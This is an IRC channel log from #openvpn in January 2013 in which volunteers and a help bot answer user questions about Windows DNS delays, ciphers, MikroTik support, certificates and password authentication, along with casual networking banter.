13:35 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 245 seconds]
13:51 -!- rkantos [~Name@4e.fi] has joined #openvpn
14:13 -!- Porkepix [~Porkepix@lns-bzn-27-82-248-28-249.adsl.proxad.net] has quit [Ping timeout: 246 seconds]
14:16 -!- Porkepix [~Porkepix@lns-bzn-24-82-64-185-50.adsl.proxad.net] has joined #openvpn
14:16 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 252 seconds]
14:21 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
14:22 -!- vpopov [~happylife@149.62.17.217] has quit [Ping timeout: 252 seconds]
14:26 -!- b1rkh0ff [~b1rkh0ff@109.163.158.168] has joined #openvpn
14:29 -!- emmanuelux [~emmanuelu@vpn7.freedom-ip.com] has joined #openvpn
14:31 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
14:34 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Remote host closed the connection]
14:34 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has joined #openvpn
14:39 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 244 seconds]
14:43 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
14:45 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 276 seconds]
14:46 -!- rkantos [~Name@4e.fi] has quit [Remote host closed the connection]
14:46 -!- rkantos [robin@4e.fi] has joined #openvpn
14:51 -!- brute11k [~brute11k@89.249.235.94] has quit [Quit: Leaving.]
14:58 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has quit [Quit: ZNC - http://znc.in]
14:58 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
15:07 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 245 seconds]
15:14 -!- youssef [~youssef@ip-83-134-156-208.dsl.scarlet.be] has joined #openvpn
15:15 -!- bisko [~bisko@178.254.232.159] has joined #openvpn
15:24 < SpookZA> pppingme: I have 3 offices, each has a link to the other ... and it starts getting funky if one link goes down, even though each link has an iroute for both of the others :P ... my ospf works like a charm, openvpn just gets its panties in a knot
15:26 -!- rkantos [robin@4e.fi] has joined #openvpn
15:34 -!- zrzerenato [~zrzerenat@177.106.200.112] has joined #openvpn
15:34 < zrzerenato> hy every one  ..
15:40 -!- zrzerenato [~zrzerenat@177.106.200.112] has left #openvpn []
15:40 -!- zrzerenato [~zrzerenat@177.106.200.112] has joined #openvpn
15:42 -!- zrzerenato [~zrzerenat@177.106.200.112] has quit []
15:45 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 276 seconds]
15:54 -!- rkantos [robin@4e.fi] has joined #openvpn
16:17 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
16:28 -!- wh1p [~angus@host-2-100-148-6.as13285.net] has joined #openvpn
16:28 -!- ade_b [~Ade@koln-4d0b1082.pool.mediaWays.net] has joined #openvpn
16:28 -!- ade_b [~Ade@koln-4d0b1082.pool.mediaWays.net] has quit [Changing host]
16:28 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
16:31 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
16:52 < youssef> hi every one, can someone help me to setup my routing stuff, please i'm getting crazy with this.
16:57 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 256 seconds]
16:57 -!- bisko [~bisko@178.254.232.159] has quit [Quit: Computer has gone to sleep.]
16:59 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
16:59 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
17:04 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 256 seconds]
17:06 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
17:10 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 256 seconds]
17:14 < pppingme> SpookZA I don't have ANY routing in openvpn, each side has an ifconfig in the openvpn.conf file (each site runs on a different port, so the center point is actually running multiple openvpn daemons, but each one is incredibly simple in its setup) and thats it, no iroutes or anything else, in terms of openvpn, its about as simple as it gets.
17:18 -!- eugenmayer [~EugenMaye@HSI-KBW-109-193-196-063.hsi7.kabel-badenwuerttemberg.de] has quit [Quit: Leaving.]
17:32 -!- haswelll [~HU@192.73.252.248] has joined #openvpn
17:32 < haswelll> hey
17:33 < haswelll> why is there always a delay of around 1 minute after i connect to vpn before i can browse websites?
17:33 < haswelll> the client goes green but i have to wait ages
17:33 < haswelll> running 2.3 on windows 7 64
17:33 < haswelll> :)
17:34 < haswelll> ./whois haswelll
17:34 -!- haswelll [~HU@192.73.252.248] has quit [Client Quit]
17:34 <+pekster> Check your logs to get an idea of the timeline of your connection attempt
17:35 <+pekster> Or quit before I answer :P
17:37 -!- haswelll [~HU@192.73.252.248] has joined #openvpn
17:37 <+pekster> <+pekster> Check your logs to get an idea of the timeline of your connection attempt
17:37 < haswelll> ok
17:38 < haswelll> client log shows no errors, it takes about 3 seconds to connect and the icon turns green
17:39 <+pekster> Then the VPN is connected. Once you see the 'Initialization Sequence Completed' message, OpenVPN has done everything it has been told
17:40 < haswelll> server log shows same
17:40 < haswelll> down to the second
17:40 < haswelll> i'm guessing this might be some route table issue on windows
17:40 <+pekster> Routes are added before you get that message
17:41 <+pekster> At least if you let openvpn manage them
17:41 < haswelll> then im wondering if it could be a dns thing as i push dns from server
17:41 < haswelll> maybe windows takes some time to adjust
17:41 <+pekster> Probably. DNS is somewhat of a PITA under Windows since it doesn't play well on multi-homed networks
17:42 < haswelll> gonna try setting dns on the adapter and not pushing it
17:42 <+pekster> You can tinker with the --register-dns setting, although that's more of a hack than anything. I developed a custom solution last domain-environmnet where we had split-DNS in order to make sure OpenVPN played nice with the internal DNS setup and warn the user if something went wrong
17:42 <+pekster> Yet another case of Windows not playing nice with others
17:46 < haswelll> if a hack works i'll take it ;)
17:48 -!- HU_ [~HU@180.155.14.35] has joined #openvpn
17:49 -!- HU_ [~HU@180.155.14.35] has quit [Client Quit]
17:51 -!- haswelll [~HU@192.73.252.248] has quit [Ping timeout: 256 seconds]
17:51 -!- haswelll_ [~HU@192.73.252.248] has joined #openvpn
17:51 < haswelll_> didn't help
17:52 < haswelll_> irc auto connects at the exact moment web pages will finally load
17:52 < haswelll_> dont think it's dns thing
17:53 <+pekster> If you can ping your VPN peer by IP then it's not an openvpn thing
17:53 < haswelll_> ach i didnt restart openvpn after removing push dns from server conf
17:53 <+pekster> I wrote an awful lot of code to make DNS "just work" under a Windows enviornmnet. It's non-trivial to diagnose and fix crap like that given how awful the OS is
17:53 < haswelll_> what OS do you use
17:53 <+pekster> Many
17:55 -!- APTX [~APTX@unaffiliated/aptx] has quit [Ping timeout: 248 seconds]
17:57 -!- haswelll_ [~HU@192.73.252.248] has quit [Read error: Connection reset by peer]
17:57 -!- haswelll_ [~HU@192.73.252.248] has joined #openvpn
17:57 < haswelll_> lol
17:57 < haswelll_> this will sound weird but
17:58 < haswelll_> now its instant, but only after i let it use blowfish
17:58 < haswelll_> had it set to aes
17:58 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
17:58 < haswelll_> doesn't make any sense
17:58 < wh1p> isnt blowfish an irc plugin?
17:59 < haswelll_> default cipher if u dont specify one in your configs
17:59 < dioz> http://en.wikipedia.org/wiki/Blowfish_(cipher)
17:59 < haswelll_> supposedly a bit faster than aes in general but doesnt explain why it gets rid of the delay
17:59 < haswelll_> before i couldn't even ping 10.8.0.1 until after 60 seconds
18:00 < haswelll_> and i have an i5 with aes instructions
18:01 <+pekster> That probably dones't actually matter since the official builds are backwards-compatable with far older chipsets
18:01 <+pekster> Unless you're passing hardware crypto options
18:02 -!- wh1p [~angus@host-2-100-148-6.as13285.net] has left #openvpn ["Leaving"]
18:02 < haswelll_> unless that happens magically behind the scenes, im not
18:05 -!- mrebola [~cesar@187.245.157.97] has joined #openvpn
18:05 -!- mrebola [~cesar@187.245.157.97] has left #openvpn []
18:10 < haswelll_> im thinking it might be a bug
18:10 < haswelll_> happens also on my laptop
18:13 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Read error: Operation timed out]
18:13 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Read error: Operation timed out]
18:14 -!- black_ [black@got.laid.using.blackmajic.org] has quit [Read error: Operation timed out]
18:14 -!- hazardous [~dbn@openvpn/user/hazardous] has quit [Read error: Operation timed out]
18:16 -!- hazardous [~dbn@2001:470:8932:6855:4185::fe80] has joined #openvpn
18:17 -!- blackmagic [black@got.laid.using.blackmajic.org] has joined #openvpn
18:17 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
18:17 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
18:20 -!- APTX [~APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
18:23 -!- haswelll_ [~HU@192.73.252.248] has quit [Quit: Leaving]
18:32 -!- JackWinter [~jack@vodsl-4655.vo.lu] has left #openvpn ["Konversation terminated!"]
18:33 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
18:34 -!- JackWinter [~jack@vodsl-4655.vo.lu] has left #openvpn ["Konversation terminated!"]
18:37 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
19:04 -!- p3rror [~mezgani@2001:0:53aa:64c:1c25:7ae9:d673:2d87] has joined #openvpn
19:06 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 255 seconds]
19:07 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
19:08 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:11 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
19:15 -!- APTX [~APTX@unaffiliated/aptx] has quit [Read error: Operation timed out]
19:16 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
19:16 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
19:16 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
19:16 -!- mode/#openvpn [+o krzee] by ChanServ
19:16 <@krzee> [04:31]  <ak5_> hi everyone, I am trying to create a small vpn to access the web securely in China. I wanted to ask if I can use openvpn via https?
19:16 <@krzee> [04:40]  <Eagleman> Yes you can, use tcp and port 443
19:16 <@krzee> ak5_, i dont think that is true anymore ^
19:17 <@krzee> !obs
19:17 <@krzee> !ping
19:17 <@vpnHelper> pong
19:17 <@krzee> !factoids
19:17 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
19:17 <@krzee> !obfs
19:17 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation
19:19 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
19:24 <@krzee> dazo said "Please misunderstand me correctly ... I do like the idea of obfuscation in OpenVPN."
19:24 <@krzee> lol i like the wording :D
19:25 -!- p3rror [~mezgani@2001:0:53aa:64c:1c25:7ae9:d673:2d87] has quit [Ping timeout: 245 seconds]
19:29 -!- hazardous [~dbn@2001:470:8932:6855:4185::fe80] has left #openvpn []
19:30 -!- hazardous [~dbn@2001:470:8932:6855:4185::fe80] has joined #openvpn
19:32 -!- blackmagic [black@got.laid.using.blackmajic.org] has quit [Ping timeout: 246 seconds]
20:24 -!- u0m3 [~Radu@109.96.140.34] has quit [Read error: Connection reset by peer]
20:50 -!- u0m3 [~Radu@109.96.140.34] has joined #openvpn
21:17 -!- Valcorb [~Valcorb@94-227-38-227.access.telenet.be] has quit [Read error: Connection reset by peer]
21:29 -!- Cpt-Oblivious is now known as mynewnick
21:29 -!- mynewnick is now known as Cpt-Oblivious
21:34 -!- denon [~denon@unaffiliated/denon] has joined #openvpn
21:35 < denon> anyone awake with experience using openvpn on Mikrotik?
21:38 < denon> seems pretty much stock, just doesnt do client cert .. only user/pass ..
21:45 <+pekster> denon: OpenVPN in a stock build suports SSL/TLS connections; it's possible to perform a build that lacks that support, but I don't see why anyone would want that
21:50 -!- jthunder_ [~jthunder@174.3.126.51] has joined #openvpn
21:51 -!- jthunder_ [~jthunder@174.3.126.51] has quit [Client Quit]
21:52 < denon> pekster: yeah, Im not entirely sure I understand their implementation yet
21:52 <+pekster> I've run openvpn on the OpenWRT platform with wonderful results
21:53 < denon> well, this is a nice 30-some core box with 12 interfaces LACP'd to various spots in the network, I'd prefer not to add another appliance
21:54 -!- jthunder [~jthunder@174.3.126.51] has quit [Ping timeout: 252 seconds]
21:54 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
21:57 <+pekster> Oh, I'm not familiar with that device
21:58 <+pekster> Some quick searching online revelaed that company also makes routers, so I assumed a low-end embedded-style system
21:58 <+pekster> Ultimately it comes down to how the program was compiled. If it wasn't built with a certain support, it won't work. Pretty basic ;)
21:59 -!- mode/#openvpn [+v denon] by krzee
22:02 <@krzee> denon, if you want l/p
22:02 <@krzee> !authpass
22:03 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
22:06 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
22:08 <@krzee> !pki
22:08 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
22:08 <@vpnHelper> signed specially as a server (see !servercert)
22:08 <@krzee> ^ denon, if you use easy-rsa you can follow link #1
22:08 <@krzee> personally i use:L
22:08 <@krzee> !ssl-admin
22:08 <@vpnHelper> "ssl-admin" is (#1) if you use freebsd, it is in ports or (#2) svn co https://www.secure-computing.net/svn/trunk/ssl-admin to grab it from svn or (#3) A perl script for managing SSL certificates (being a CA). Makes a good replacement for easy-rsa
22:09 <+pekster> Well, if the gadget he's using supports it. You can do ./configure --disable-ssl when performing a build
22:09 <+pekster> I don't know if he means the frontend doesn't support it, or the program itself
22:09 <@krzee> [19:53]  <denon> well, this is a nice 30-some core box with 12 interfaces LACP'd to various spots in the network, I'd prefer not to add another appliance
22:10 <+denon> you dont get direct access to it, it's wrapped in their OS shell and gui
22:10 <@krzee> just so you know, openvpn is single threaded and will only use 1 core
22:10 <+denon> krzee: pretty sure they spin up new threads per vpn instance
22:10 <@krzee> wrong
22:11 <+denon> no, I mean pretty sure mikrotik does ... you can run several instances which are totally different versions afaik
22:11 <+denon> I assumed it was isolated daemons, configs, etc
22:12 <+pekster> Per instance, yes, it's a separate process (not a thread, to clarify; one instance = one process = one thread)
22:12 <@krzee> ^^
22:12 <@krzee> 'but i highly doubt they do that, unless they havnt updated since openvpn version 1
22:12 <@krzee> lol
22:13 <@krzee> denon, it would also be a different socket per instance
22:13 <@krzee> ip:port
22:13 <+denon> yeah
22:13 <@krzee> if they use the same socket, they use the same thread
22:14 <@krzee> (with openvpn)
22:14 <+denon> yeah, they have the facility to run different configs on different vlans/etc, so diffrent socket of course
22:14 <+denon> anyway, I dont much care how it works in their end at the moment :)
22:14 <@krzee> unless magically retarded firewall rules redirect or something, but that would be too insane
22:14 <+pekster> Yet don't support X509 cets? Seems really stupid to me
22:15 <@krzee> i bet it does support certs
22:15 <@krzee> ild bet he just needs to figure out how
22:15 <@krzee> unfortunately ive never even heard of what hes using
22:15 <+denon> well, I was looking at some old documentation that stated that .. I'm trying to figure out how it really works yes
22:15 <+pekster> We can help you with the actual config openvpn uses; we (generally) don't deal with supporting goofy frontends (see your app mfgr if you need that)
22:18 -!- b1rkh0ff [~b1rkh0ff@109.163.158.168] has quit [Ping timeout: 252 seconds]
22:19 -!- b1rkh0ff [~b1rkh0ff@31.176.152.170] has joined #openvpn
22:19 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
22:20 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
22:20 -!- mode/#openvpn [+o krzee] by ChanServ
22:21 <+denon> krzee: get off the dialup man :)
22:22 <+pekster> Or just sign up for your free year of AWS t1.micro 24/7 cloud usage (if you're a new user
22:22 <@krzee> this router is about to die
22:22 <@krzee> good thing i bought another, just gotta go replace
22:23 <@krzee> getting heavy packet loss to the router itself, lol
22:23 < hazardous> krzee: http://www.ubnt.com/edgemax
22:23 <@vpnHelper> Title: EdgeMAX | Ubiquiti Networks, Inc. (at www.ubnt.com)
22:23 < hazardous> ever use one of these
22:23 <@krzee> man im in the mountains
22:23 <@krzee> lucky im even online
22:23 < hazardous> it supports openvpn ok
22:23 <+pekster> My poor *wrt (the one with 16M RAM) recently put up with ~3k conntrack states when I restarted my rtorrent after it crashed late last week
22:23 <+denon> krzee: http://routerboard.com/CCR1036-12G-4S
22:23 <@vpnHelper> Title: RouterBoard.com : CCR1036-12G-4S (at routerboard.com)
22:23 <+denon> 36 core, 24 million pps
22:24 <+denon> 16Gbit wire speed
22:24 <+denon> kiss your wrt54g goodbye ;)
22:24 <+pekster> denon: Why not run openpvn on a more suitaable device behind this thing? Then you could edit your config directly?
22:24 <+denon> pekster: because all the real vpn traffic comes into other devices, this is just for some niche stuff
22:25 <@krzee> hazardous, i have not, but im a fan of ubiquiti
22:25 <+denon> yeah, mikrotik and ubiquiti go hand in hand
22:26 <+denon> ubiq is more suited toward CPE and wireless side though
22:26 <+denon> mikrotik is more designed for core and edge, good for wisp work
22:26 <@krzee> cant you get under the hood?
22:26 <+denon> hazardous: btw, unless I missed it, edgemax still isnt out
22:26 <@krzee> to the cli?
22:27 <+denon> vaporware
22:27 <+denon> krzee: the cli is their cli
22:27 <+denon> and it looks like it does support client certs, old documentation from ages ago threw me
22:27 <@krzee> is that a riddle?
22:27 <+denon> it's an IOS style cli
22:27 <+denon> not a bash shell with filesystem access
22:27 <@krzee> werd
22:28 <+denon> it handles a lot of packets and a lot of routing protocols pretty well
22:28 <+denon> which is the main goal usually
22:28 <@krzee> so does my dual core freebsd router
22:28 <@krzee> :D
22:28 <+denon> you can do 24M PPS on your fbsd router? :)
22:29 <@krzee> no idea, my weak ass 3rd world connection would piss itself WAYYYYYYYY earlier
22:29 <+denon> (I like fbsd as much as the next guy, dont get me wrong..)
22:29 <+denon> hehe
22:30 <@krzee> you know, our friend got me into freebsd long long ago
22:30 <+denon> uh huh, ask him who got him into fbsd ..
22:30 <@krzee> no shit?
22:30 <+denon> :)
22:30 <@krzee> werd
22:30 <+denon> it's a small world
22:30 <@krzee> so you indirectly got me into fbsd
22:31 <+denon> sorry <G>
22:31 <@krzee> :-p
22:31 -!- youssef [~youssef@ip-83-134-156-208.dsl.scarlet.be] has quit [Remote host closed the connection]
22:32 <+denon> then again, that's like saying Al Gore got me into routing
22:33 <+pekster> You sure it wasn't senator what's-his-name that showed us all about the tubes? :P
22:34 <@krzee> al invented the tubes
22:34 <+denon> ted stevens
22:34 < EugeneKay> I prefer the dump truck model
22:34 <+denon> http://en.wikipedia.org/wiki/Series_of_tubes
22:34 <@vpnHelper> Title: Series of tubes - Wikipedia, the free encyclopedia (at en.wikipedia.org)
22:35 <+denon> in reality, it's more like a conveyor belt, with the occasional broken spindle
22:38 <@krzee> <pjenvey> internet is a series of win tubes
22:38 <@krzee> just said on another network
22:39 <@krzee> (not because of me)
22:39 <+denon> it's intuitive..
22:39 <+pekster> The Internet is like a series of self-managed IP routers and autonomous systems operating together for a common purpose. Oh, wait...
22:39 <+denon> "operating together"...
22:39 <+denon> yeah, that'd be nice
22:40 <+pekster> To be fair, "most" devices to IP reasonably correctly. Mostly.
22:40 <+pekster> do*
22:40 <+denon> pekster, meet Cogent :)
22:40 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
22:40 <@krzee> LOL
22:41 <+denon> well, my laptop has just informed me it's been a long day, and I'm down to 14% battery, probably time to wrap up for the evening..
22:41 <+pekster> In 30 years I wonder what regrets we'll have over IPv6 design decisions
22:41 <@krzee> werd, gnite man, good to see ya
22:41 <@krzee> 30 years?
22:41 <+denon> thin client on the other hand has lots of power.. but then again, no good without my laptop to see the other side'a things
22:41  * denon mumbles
22:42 <+denon> pekster: you're assuming we'll have actually implemented ipv6 instead of just tunneling and extending 4?
22:42 <+denon> take it easy, gnite
22:42  * denon out
22:42 <+pekster> heh, night
22:44 <@krzee> why wait so long to start with the regrets?
22:46 <+pekster> Pesumably we'll get more as new protocols and designs are born that IPvX doesn't handle well
22:46 <+pekster> The framers of v4 never envisioned the use we have today with p2p, streaming video, such huge uptake and demand for unique IPs, etc
22:50 < pppingme> pekster we will be on ipv8 by then
22:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds]
23:54 -!- kernelPiCNic [~skyroveRR@unaffiliated/tarzach] has joined #openvpn
23:54 < kernelPiCNic> Hello, I am using openvpn along with vpnbook on a single machine http://www.vpnbook.com/ should I use openvpn as a server or as a client? THey already provided me the username and password.
23:54 <@vpnHelper> Title: VPNBook | 100% Free VPN Service - OpenVPN and PPTP (at www.vpnbook.com)
23:58 <+pekster> If you're using someone else's service you should get your config file from them since options must match on both peers for encryption and other configurations
23:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
23:59 <+pekster> If you're connecting to a peer that is a multi-client supporting server, you need to be configured as a client, obviously
23:59 <+pekster> Also:
23:59 <+pekster> !provider
23:59 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
--- Day changed Sun Jan 27 2013
00:00 < kernelPiCNic> well, they simply have the username, password on their website http://www.vpnbook.com/ and there is a zip file I downloaded from them, it only has a crt file and a .ovpn file
00:00 <@vpnHelper> Title: VPNBook | 100% Free VPN Service - OpenVPN and PPTP (at www.vpnbook.com)
00:02 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
00:04 <+pekster> The .ovpn file is the config file
00:06 < kernelPiCNic> ok
00:07 -!- MeanderingCode [~Meanderin@71-213-188-66.albq.qwest.net] has quit [Remote host closed the connection]
00:07 < kernelPiCNic> and what about the crt file? is it ca crt or just client crt?
00:07 <+pekster> I have no clue since I am not your provider
00:07 < kernelPiCNic> ok.
00:07 <+pekster> If you wish to learn how openvpn works, start here:
00:07 <+pekster> !howto
00:07 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
00:07 < kernelPiCNic> I'll check that.
00:16 -!- ak5_ [~ak5@unaffiliated/ak5] has quit [Remote host closed the connection]
00:24 -!- kernelPiCNic [~skyroveRR@unaffiliated/tarzach] has left #openvpn []
01:10 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
01:10 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
01:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
01:10 -!- mode/#openvpn [+o krzee] by ChanServ
01:26 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
01:29 -!- jthunder [~jthunder@174.3.126.51] has quit [Client Quit]
01:29 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has quit [Ping timeout: 255 seconds]
01:49 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 256 seconds]
02:05 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has joined #openvpn
02:06 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
02:14 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Excess Flood]
02:15 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
02:20 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 252 seconds]
02:54 -!- brute11k [~brute11k@89.249.230.213] has joined #openvpn
03:05 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:17 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
03:25 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
03:25 < andi> Hello
03:26 < andi> I have an openvpn tunnel for which I need username and password. I put them into a file which I give as parameter to auth-user-pass. After that I secured the file with chmod 0600.
03:26 < andi> After a while the tunnel is breaking down and I'm getting the error: ERROR: could not read Auth username from stdin
03:27 < andi> Why is openvpn looking for the username and password at stdin when I think the openvpn server goes away or my internet connection is restarted?
03:27 < andi> The openvpn version I'm using is 2.2.2.
03:30 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:31 < andi> Ah, I think this is the problem: http://community.openvpn.net/openvpn/ticket/225
03:31 <@vpnHelper> Title: #225 ('--auth-user-pass FILE' and '--auth-nocache' problem) – OpenVPN Community (at community.openvpn.net)
03:32 < andi> I tried to comment out auth-nocache to check if this works when openvpn runs in the negotiation timeout.
03:56 -!- bisko [~bisko@178.254.232.159] has joined #openvpn
04:05 -!- bisko [~bisko@178.254.232.159] has quit [Quit: Textual IRC Client: www.textualapp.com]
04:15 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 255 seconds]
04:21 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
04:37 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
04:38 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
04:56 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 245 seconds]
04:58 -!- zz_AsadH [~AsadH@irc.unixio.com] has joined #openvpn
04:58 -!- zz_AsadH is now known as AsadH
04:58 -!- AsadH [~AsadH@irc.unixio.com] has quit [Changing host]
04:58 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
05:02 -!- bisko [~bisko@178.254.232.159] has joined #openvpn
05:24 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:50 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
05:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:03 -!- hazardous [~dbn@2001:470:8932:6855:4185::fe80] has quit [Ping timeout: 245 seconds]
06:03 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Quit: Konversation terminated!]
06:11 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 256 seconds]
06:13 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:18 -!- hazardous [~dbn@2001:470:8932:6855:4185::fe80] has joined #openvpn
06:31 -!- wh1p [~angus@host-2-100-148-6.as13285.net] has joined #openvpn
06:36 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 244 seconds]
06:37 -!- bisko [~bisko@178.254.232.159] has quit [Read error: Operation timed out]
06:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
06:59 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
07:36 -!- JackWinter [~jack@vodsl-4655.vo.lu] has left #openvpn ["Konversation terminated!"]
07:38 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
07:40 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
08:01 < Eagleman> How do you suggest storing credentials secure for auto connecting ?
08:04 -!- wh1p [~angus@host-2-100-148-6.as13285.net] has left #openvpn ["Leaving"]
08:06 < kisom> Eagleman: Full disk encryption.
08:09 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
08:21 -!- p3rror [~mezgani@2001:0:53aa:64c:3468:555a:d673:d5e1] has joined #openvpn
08:25 < jackbrown> HOW CAN I CHECK 100% when I'M behind a VPN with openVPN that my real connection will not be used and my real IP will be not detected ?
08:26 < Eagleman> what is my ip
08:27 < Eagleman> should be something different then normal when using redirect gateway
08:57 -!- vpopov [~happylife@149.62.17.217] has joined #openvpn
09:10 < Eagleman> kisom, its a server, so i doubnt full disk encryption will work
09:12 -!- p3rror [~mezgani@2001:0:53aa:64c:3468:555a:d673:d5e1] has quit [Ping timeout: 245 seconds]
09:13 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:35 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
09:50 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: bbl]
10:05 -!- bisko [~bisko@78-83-118-1.spectrumnet.bg] has joined #openvpn
10:09 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
10:10 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has quit [Remote host closed the connection]
10:14 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
10:18 -!- b1rkh0ff [~b1rkh0ff@31.176.152.170] has quit [Ping timeout: 245 seconds]
